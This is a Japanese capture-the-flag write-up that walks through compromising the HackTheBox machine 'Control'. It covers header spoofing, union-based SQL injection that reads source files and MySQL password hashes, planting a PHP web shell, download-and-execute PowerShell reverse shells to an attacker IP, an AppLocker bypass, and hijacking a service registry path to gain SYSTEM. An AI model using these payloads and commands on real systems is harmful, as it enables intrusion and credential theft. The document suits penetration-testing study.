HackTheBox Control Writeup


https://app.hackthebox.com/machines/Control

# 1, nmap
ControlのIPアドレスを control.htb で解決できるよう /etc/hosts を編集しておきます。
まずはnmapで調査します。
```
# cat control.nmap
# Nmap 7.92 scan initiated Tue Jul 26 06:24:26 2022 as: nmap -Pn -T4 -A -oN control.nmap -p- control.htb
Nmap scan report for control.htb (10.10.10.167)
Host is up (0.16s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Fidelity
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc   Microsoft Windows RPC
3306/tcp  open  mysql?
49666/tcp open  msrpc   Microsoft Windows RPC
49667/tcp open  msrpc   Microsoft Windows RPC
...
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

...
```

# 2, HTTPの調査
ttp://control.htb/index.php にアクセスすると、以下のページが表示されます。
![02_01_index_php.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/0c963334-f164-6d57-7e30-20382d221e50.png)
index.php のソースコードに以下の記載があります。
![02_02_comment.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/cfa821b7-ea8c-61c2-6d18-2df7acdef7de.png)
新決済システムへのリンクには、192.168.4.28でSSLを有効にする必要があるらしいです。

ナビからAdmin, Loginをクリックすると、どちらも ttp://control.htb/admin.php に飛ばされ、以下のエラーが表示されます。
![02_03_proxy_error.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/bb8febfe-2234-79da-fef2-d4f765f5ba71.png)
HTTPヘッダで、プロキシを経由する必要があるようです。

# 3, admin.phpへアクセスする
HTTPヘッダでプロキシを指定できるのは、以下の5項目です。

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#proxies

headers.txtとして保存しておきます。
```headers.txt
Forwarded
X-Forwarded-For
X-Forwarded-Host
X-Forwarded-Proto
Via
```
経由するプロキシサーバーとしては、コメントの192.168.4.28が怪しいでしょうか。
wfuzzをつかい、総当たりで調べます。
```
# wfuzz -c -u http://control.htb/admin.php -w headers.txt -H FUZZ:192.168.4.28 -p 127.0.0.1:8080:HTTP
...
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://control.htb/admin.php
Total requests: 5

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                 
=====================================================================

000000004:   200        0 L      15 W       89 Ch       "X-Forwarded-Proto"                                                                                     
000000001:   200        0 L      15 W       89 Ch       "Forwarded"                                                                                             
000000005:   200        0 L      15 W       89 Ch       "Via"                                                                                                   
000000003:   200        0 L      15 W       89 Ch       "X-Forwarded-Host"                                                                                      
000000002:   200        153 L    466 W      7933 Ch     "X-Forwarded-For"                                                                                       

Total time: 0
Processed Requests: 5
Filtered Requests: 0
Requests/sec.: 0
```
X-Forwarded-Forに192.168.4.28をセットしadmin.phpにアクセスします。
この時、Burp Suiteでproxyのoptionsから、Match and Replaceに追加しておきましょう。
![03_01_Replace.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/37c15b70-55ee-a22c-2a77-85a869cf7486.png)
admin.phpが表示されました
![03_02_admin.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/269a6c31-72d8-6d19-4964-ba50f5768aa5.png)


# 4, SQL Injection - 1 : .phpファイルを取得する
試しに Find Products に ' のみを入力して検索してみます。
![04_01_SQL_error.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/4806fa68-f079-df48-94ef-013388f0a718.png)
エラーメッセージが表示されます。あからさまですが、SQLインジェクションが可能です。

Union BasedのSQLインジェクションを行うため、カラム数を調べます。
以下のように order by を用いてカラム数を特定します。
![04_02_group_by.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/0fe5496e-a5fa-4da5-7eef-f8fb56d31c3f.png)
```
productName='  order by 5 -- -    // エラーなし 
productName='  order by 10 -- -   // エラー
productName='  order by 7 -- -    // エラー
productName='  order by 6 -- -    // エラーなし
```
カラム数は6と分かりました。

続いて、union で行の挿入を試します。
```
productName='  union select 1,2,3,4,5,6 -- -    // エラーなし 
```
![04_03_union_test.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/d08127f4-f6c0-d875-e7e7-27bec2642899.png)
成功です。

行の挿入が可能ならば、LOAD_FILE()で.phpファイルを取得できます。
まずは、index.phpです。
```
productName=' union select LOAD_FILE('C:\\inetpub\\wwwroot\\index.php'),2,3,4,5,6 -- -
```
'C:\\inetpub\\wwwroot\\'はIISの標準ホームディレクトリです。
LOAD_FILE()だけでも抜き取れますが、Burp Suiteの画面上に収まりきらなくなってしまいます。
なので、TO_BASE64()も使います。
```
productName=' union select TO_BASE64(LOAD_FILE('C:\\inetpub\\wwwroot\\index.php')),2,3,4,5,6 -- -
```
![04_04_loadfile_index.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/6c3b751a-bb87-34f0-dad3-28a3febcc58d.png)
base64コマンドなどでデコードすれば、index.htmlが取得できているとわかります。

同様に、
admin.phpも取得しましょう。
```
productName=' union select TO_BASE64(LOAD_FILE('C:\\inetpub\\wwwroot\\admin.php')),2,3,4,5,6 -- -
```
　　
admin.phpの最上部では、proxyの処理を行っているとわかります。
```php
<?php
$allowed = array('192.168.4.28');
if (!isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $_SERVER['HTTP_ORIGIN'] = $_SERVER['REMOTE_ADDR'];
}
if (in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $allowed)) { } else {
        die('Access Denied: Header Missing. Please ensure you go through the proxy to access this page');
}
?>
<!DOCTYPE html>
```
array('192.168.4.28')に$_SERVER['HTTP_X_FORWARDED_FOR']がなければdie()しています。
admin.phpから、検索はsearch_products.phpで行われていることがわかります。
```html
<!-- Search -->
			<section>
				<div>
					<h2>Find Products</h2>
					<form id="searchProducts" action="search_products.php" method="POST">
						<div class="row gtr-uniform gtr-50">
							<div class="col-8 col-12-xsmall"><input type="text" name="productName" id="productName" placeholder="Name" /></div>
							<div class="col-4 col-12-xsmall"><input type="submit" value="Search" class="primary" /></div>

						</div>
					</form>
				</div>
			</section>
```
  
search_products.php を同様に取得し、表示してみましょう。
```php
<tbody>
	<?php
	try {
		$productName = $_POST['productName'];
		$servername = "localhost";
		$username = "manager";
		$password = "l3tm3!n";
		$dbname = "warehouse";
		$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
		$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
		$conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
		$stmt = $conn->query("SELECT * FROM product WHERE name='$productName'");
		//$result = $conn->query("SELECT * FROM product WHERE name='$productName'");
		do {
		$rows = $stmt->fetchAll(PDO::FETCH_NUM);
		if (count($rows) > 0) {
		foreach ($rows as $row) {
		echo "<tr>";
		foreach ($row as $value) {
		echo "<td>" . $value . "</td>";
		}
		echo '</tr>';
		}
		} else {
		echo "<td>No Products Found</td>";
		echo "<td> </td>";
		echo "<td> </td>";
		echo "<td> </td>";
		echo "<td> </td>";
		}
		} while ($stmt->nextRowset());
		} catch (PDOException $e) {
		echo "Error: " . $e->getMessage();
		}
	?>
</tbody>
```
クエリが SELECT * FROM product WHERE name='$productName' であること、
manager のパスワードが l3tm3!n であることが分かります。

# 5, SQL Injection - 2 : データベースの調査
```
productName=' union select (select group_concat(schema_name separator '\n') from information_schema.schemata),2,3,4,5,6;-- -
```
で、
information_schema
mysql
warehouse
の3つのスキーマがあると分かります。

mysqlシステムスキーマには、userテーブルが含まれています。

https://docs.oracle.com/cd/E17952_01/mysql-8.0-ja/system-schema.html

システムスキーマに含まれるテーブルは、以下のクエリでも表示できます
```
productName=' union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema='mysql' -- -
```

userテーブルのuserとpasswordを調査します。
```
' union select group_concat(user, password separator '\n') ,2,3,4,5,6 from mysql.user;-- -
```
![05_01_user_password.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/0dc5e09d-ebbc-ff78-2e63-91718133e890.png)
表示されたハッシュをhashes.comで解析します。

https://hashes.com/en/decrypt/hash

```
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8 // 不明
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8
manager : CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA // l3tm3!n
hector : 0E178792E8FC304A2E3133D535D38CAF1DA3CD9D // l33th4x0rhector
```
hectorのパスワードを新たに入手しました。

# 6, SQL Injection - 3 : Web Shellの配置
INTO DUMPFILE を使い、C:\\inetpub\\wwwroot\\ 配下に新たなwebページを作成します。
まずは、phpinfo()を表示させてみましょう。
ttp://control.htb/phpinfo.php にアクセスし、404エラーでphpinfo.phpファイルが"無い"ことを確認します。
![06_01_phpinfo_404.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/d9423b9b-ccf4-89d5-0115-1c26c800ab05.png)
次に以下のクエリで、phpinfo.phpを作成します。
```
productName=' union select ('<?php phpinfo(); ?>'),2,3,4,5,6 INTO DUMPFILE 'C:\\inetpub\\wwwroot\\phpinfo.php'-- -
```
phpinfoが表示されます。
![06_02_phpinfo_200.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/9b214738-e29d-14c9-2b3a-3b8eb480b826.png)

では、WebShellを作成します。
以下のクエリで.phpファイルを作成し、
```
productName=' union select ("<?php system($_REQUEST['c']); ?>"),2,3,4,5,6 INTO DUMPFILE 'C:\\inetpub\\wwwroot\\webshell.php'-- -
```
ttp://control.htb/webshell.php?c=whoami でアクセスしてみましょう。
![06_03_webshell_whoami.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/c352852f-70d2-9bf6-df29-20b5d5957bd8.png)
nt authority\iusr(IISのビルドインアカウント)が表示されます。
ttp://control.htb/webshell.php?c=hostname で、コンピュータ名が Fidelity であることも分かります。

# 7, ビルドインアカウントの権限取得
Kali Linuxでペイロードの準備をします。
nishangがインストールされていなければ、インストールします。
```
# apt install nishang 
```
Shells/Invoke-PowerShellTcp.ps1 を使います。ワーキングディレクトリにコピーします。
```
# cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .
```
Invoke-PowerShellTcp.ps1 の末尾に、以下の一文を追加します。
10.10.14.26 は自分のKali LinuxのIPに置き換えてください、ポートも任意です。
```powershell
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.26 -Port 443
```
最後に簡易的な難読化を施します。
```
# sed -i 's/invoke-powershelltcp/foo/gI' Invoke-PowerShellTcp.ps1 
```
Invoke-PowerShellTcp関数の関数名をfooに置き換えます。

Kali Linux上でWebサーバーの立ち上げと、rlwrapでシェルを受け取る準備をします。
```
# python3 -m http.server 80
# rlwrap nc -nlvp 443 
```
先程のWeb Shell の c を以下に置き換えアクセスしましょう。
```
c=powershell IEX(IWR http://10.10.14.26/Invoke-PowerShellTcp.ps1 -UseBasicParsing)
```
![07_01_payload.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/3861be38-8de5-f797-a31f-ee0555f39659.png)
ビルドインアカウントの権限が取得できました。
![07_02_buildin.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/d378bcfa-fe1e-8d03-1e91-f2873d398df0.png)

# 8, hectorへのエスカレーション
Kali Linuxでhector権限のシェルを受け取る準備をしておきます。
```
# rlwrap nc -nlvp 443 
```
hectorのパスワードがわかっているので、資格情報(credential)を作成後、10.10.14.26/Invoke-PowerShellTcp.ps1をもう一度呼び出します。

https://docs.microsoft.com/ja-jp/powershell/scripting/learn/deep-dives/add-credentials-to-powershell-functions?view=powershell-7.2
```powershell
PS C:\inetpub\wwwroot> $username = '.\hector'
PS C:\inetpub\wwwroot> $password = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
PS C:\inetpub\wwwroot> $hostname = 'Fidelity'
PS C:\inetpub\wwwroot> $credential = New-Object System.Management.Automation.PSCredential($username,$password) 
PS C:\inetpub\wwwroot> Invoke-Command -ComputerName $hostname -Credential $credential -ScriptBlock {IEX(IWR http://10.10.14.26/Invoke-PowerShellTcp.ps1 -UseBasicParsing)  } 
```
![08_01_hector.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/1e736fb7-a9e7-cb0f-e13b-209c9ae0e3e8.png)
hectorのアカウント権限を取得できました。user.txtを表示しましょう。

# 9, レジストリ・サービスの調査
AccessChkを使い、Hectorがコントロールできるサービスがないか調べます。

https://docs.microsoft.com/ja-jp/sysinternals/downloads/accesschk

AccessChkを上記からダウンロードし、hectorのシェルで
```
.\accesschk64.exe -kwsu HKEY_LOCAL_MACHINE\System\CurrentControlset\Services
```
と実行します。
![09_01_accesschk.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/3a346697-523a-e1f8-b036-02eb097c2ef3.png)
HectorがRead/Writeできるレジストリが複数あることが確認できます。

次に、サーバー上のすべてのサービスを取得し、$servicesに格納します。
```powershell
$services = Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\*
```
$servicesの要素は、以下のようなフィールドを持ちます。
```
DependOnService     : {rpcss}
Description         : @%systemroot%\system32\wuaueng.dll,-106
DisplayName         : @%systemroot%\system32\wuaueng.dll,-105
ErrorControl        : 1
FailureActions      : {128, 81, 1, 0...}
ImagePath           : C:\Windows\system32\svchost.exe -k netsvcs -p
ObjectName          : LocalSystem
RequiredPrivileges  : {SeAuditPrivilege, SeCreateGlobalPrivilege, SeCreatePageFilePrivilege, SeTcbPrivilege...}
ServiceSidType      : 1
Start               : 3
SvcMemHardLimitInMB : 246
SvcMemMidLimitInMB  : 167
SvcMemSoftLimitInMB : 88
Type                : 32
PSPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv
PSParentPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
PSChildName         : wuauserv
PSDrive             : HKLM
PSProvider          : Microsoft.PowerShell.Core\Registry
```
ここで、Startが0x03であるものが、手動で起動できるサービスです。

https://www.itprotoday.com/compute-engines/what-are-errorcontrol-start-and-type-values-under-services-subkeys

また、ObjectNameがLocalsystemでなければHectorから起動できません。
これを満たす、"ハッキング可能"なサービス一覧を変数$ishackableに格納します。
```powershell
$ishackable = $services | Where-Object { ($_.ObjectName -eq 'LocalSystem') -and ( $_.Start -eq '3') }
```
  
そして、これらのうち書き込み可能なものをリストアップします。
書き込み権限は Sc sdshow で確認できます。

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742133(v=ws.11)

https://stakiran.hatenablog.com/entry/2018/07/18/195021

例えば
```
cmd /c sc sdshow wuauserv

D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOSDRCWDWO;;;WD)
```

となっているとき、Hector(AU)はCC, LC, SW, RP, LO, RC が許可されており、RP(SERVICE_START)が可能であると分かります。
AUのRPが可能なシステム一覧を、$canstartに格納します。

```
$canstart = foreach($service in $ishackable.PSChildName){ $sddl=(cmd /c sc sdshow $service); if ($sddl -match "RP[A-Z]*?;;;AU"){$service}}
```
$canstartは以下のサービスになりました。
```
PS C:\Users\Hector\Documents> 
$canstart
ConsentUxUserSvc
DevicesFlowUserSvc
PimIndexMaintenanceSvc
PrintWorkflowUserSvc
seclogon
UnistoreSvc
UserDataSvc
WaaSMedicSvc
wuauserv
```

# 10, 管理者権限取得？
これからシェルを送り込みます。
その前に、AppLockerを避ける必要があります。

https://soma-engineering.com/server/activedirectory/what-is-applocker/2019/04/30/

下記を参考に、ワーキングディレクトリを移動します。

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md

```
cd C:\Windows\System32\spool\drivers\color
```

https://github.com/danielmiessler/SecLists/tree/master/Web-Shells/FuzzDB

こちらのシェルを利用します。サーバへのアップロード時にファイル名を iexplore.exe に変更します。
```
wget http://10.10.14.26/nc.exe -o iexplore.exe
```

脆弱なレジストリ、HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv の ImagePath を書き換えます。
```powershell
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv -Name ImagePath -Value 'C:\Windows\System32\spool\drivers\color\iexplore.exe 10.10.14.26 443 -e powershell'
```

Kali Linuxで通信を待ち受けます。
```
# rlwrap nc -nlvp 443 
```

書き換えたサービス、wuauserv を起動します。
```
Start-Service wuauserv
```

すると、Kali Linuxで管理者権限を取得できますが、数十秒で反応がなくなってしまいます。

# 11, 管理者権限取得
反応がなくなってしまう原因は、システムがサービスのイメージパスを書き戻してしまうためです。
対策として、数十秒間利用できる管理者権限から、その間にnc.exe(iexplore.exe)を直接呼び出し、Kali Linuxと繋げます。

以下のコマンドをメモしておきます。53番ポートはDNSの待ち受けポートなので、利用します。
```
\Windows\System32\spool\drivers\color\iexplore.exe -e powershell 10.10.14.26 53
```

そして、以下の手順を素早く行います。

① Kali Linuxでポート443番と53番を待ち受ける。
```
# rlwrap nc -nlvp 443 
# rlwrap nc -nlvp 53
```
② Hectorのシェルでレジストリを書き換え、サービスを起動する。
```powershell
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv -Name ImagePath -Value 'C:\Windows\System32\spool\drivers\color\iexplore.exe 10.10.14.26 443 -e powershell'
Start-Service wuauserv
```
③ 443番ポートで管理者権限を取得する。すぐにメモしておいたコマンドを打ち込む
```
\Windows\System32\spool\drivers\color\iexplore.exe -e powershell 10.10.14.26 53
```
④ 待ち受けておいた53番ポートで、管理者権限を取得できる。
![end.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/f0d67948-57d2-f7fe-95f2-7484ac60976f.png)

root.txtを表示しましょう。

# 参考

https://www.udemy.com/course/advanced-windows-privilege-escalation-with-hack-the-box/